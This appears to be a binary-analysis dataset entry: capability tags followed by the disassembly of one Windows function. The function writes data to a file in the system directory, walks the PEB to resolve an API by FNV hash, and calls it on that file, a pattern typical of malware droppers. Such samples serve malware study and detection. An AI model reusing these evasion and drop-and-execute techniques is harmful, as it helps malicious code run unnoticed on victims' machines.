Function at 0x140017070
Capabilities:
Access peb ldr_data
Encode data using xor
Get common file path
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x2f0]
sub rsp, 0x3f0
mov rax, qword [0x1400781b0]
xor rax, rsp
mov qword [rbp + 0x2e0], rax
mov rsi, rcx
mov edx, 0x104
lea rcx, [rbp + 0xd0]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rbx, [0x1401cb758]
mov rdi, qword [0x1401cb768]
cmp qword [0x1401cb770], 0x10
jb 0x1400170d2
mov rbx, qword [0x1401cb758]
add rdi, rbx
xor r14d, r14d
mov qword [rsp + 0x30], r14
mov ecx, r14d
mov qword [rsp + 0x40], rcx
mov r8d, 7
mov qword [rsp + 0x48], r8
mov word [rsp + 0x30], r14w
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x140017119
lea rcx, [rsp + 0x30]
call fcn.140021e50
mov ecx, r14d
mov qword [rsp + 0x40], rcx
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x30]
mov qword [rbp - 0x70], rax
cmp rbx, rdi
je 0x140017173
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x140017155
lea rax, [rcx + 1]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp r8, 8
cmovae rax, qword [rsp + 0x30]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r14w
jmp 0x14001715f
lea rcx, [rsp + 0x30]
call fcn.140021fc0
inc rbx
cmp rbx, rdi
je 0x140017173
mov r8, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x40]
jmp 0x140017127
mov qword [rsp + 0x50], r14
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r14w
lea rax, [rbp + 0xd0]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x1400171a0
lea rdx, [rbp + 0xd0]
lea rcx, [rsp + 0x50]
call fcn.14001f5f0
nop
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
mov rax, r8
sub rax, rdx
cmp rax, 1
jb 0x140017202
lea rcx, [rdx + 1]
mov qword [rsp + 0x60], rcx
lea rax, [rsp + 0x50]
cmp r8, 8
cmovae rax, qword [rsp + 0x50]
mov r8d, 0x5c
mov word [rax + rdx*2], r8w
mov word [rax + rcx*2], r14w
lea rax, [rsp + 0x50]
jmp 0x140017221
mov qword [rsp + 0x20], 1
lea r9, [0x14005a934]
mov edx, 1
lea rcx, [rsp + 0x50]
call fcn.140022160
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x80], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 7
mov word [rax], r14w
lea r9, [rsp + 0x30]
lea r8, [rsp + 0x70]
lea rcx, [rbp - 0x68]
call fcn.140024090
nop
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x14001729a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017294
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017294
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x1400172df
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400172da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400172da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], 7
mov word [rsp + 0x50], r14w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x140017338
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017333
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017333
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x48], 7
mov word [rsp + 0x30], r14w
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rdx, qword [rbp - 0x68]
mov r8d, 0x20
lea rcx, [rbp - 0x40]
call fcn.14001eee0
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea r14, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x40], r14
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx - 0x44], edx
mov rdx, qword [rsi]
mov r8, qword [rsi + 8]
sub r8, rdx
lea rcx, [rbp - 0x40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp - 0x38]
call fcn.14001f1a0
test rax, rax
jne 0x1400173de
mov rax, qword [rbp - 0x40]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x40]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140017476
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140017476
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x2e3ad4a3
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140017471
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140017450
cmp r8d, 0xa3410dbc
je 0x14001747b
test r9d, r9d
jne 0x140017430
mov rax, qword [rax]
jmp 0x140017400
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
lea rcx, [rbp - 0x68]
cmp qword [rbp - 0x50], 8
cmovae rcx, qword [rbp - 0x68]
xor edx, edx
lea r8d, [rdx + 1]
call r9
mov rbx, rax
mov rcx, qword [rbp - 0x40]
movsxd rdx, dword [rcx + 4]
mov qword [rbp + rdx - 0x40], r14
mov rcx, qword [rbp - 0x40]
movsxd rdx, dword [rcx + 4]
lea r8d, [rdx - 0xa8]
mov dword [rbp + rdx - 0x44], r8d
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x38], rax
cmp qword [rbp + 0x48], 0
je 0x140017507
mov rax, qword [rbp - 0x20]
lea rcx, [rbp + 0x38]
cmp qword [rax], rcx
jne 0x140017507
mov rdx, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x50]
mov qword [rax], rcx
mov rax, qword [rbp]
mov qword [rax], rcx
sub edx, ecx
mov rax, qword [rbp + 0x18]
mov dword [rax], edx
cmp byte [rbp + 0x44], 0
je 0x140017516
lea rcx, [rbp - 0x38]
call fcn.14001f1a0
lea rcx, [rbp - 0x38]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
lea rcx, [rbp - 0x30]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x68]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
nop
mov rdx, qword [rbp - 0x50]
cmp rdx, 8
jb 0x140017579
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140017574
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140017574
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14004dbe0
mov rax, rbx
mov rcx, qword [rbp + 0x2e0]
xor rcx, rsp
call fcn.14004dbc0
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret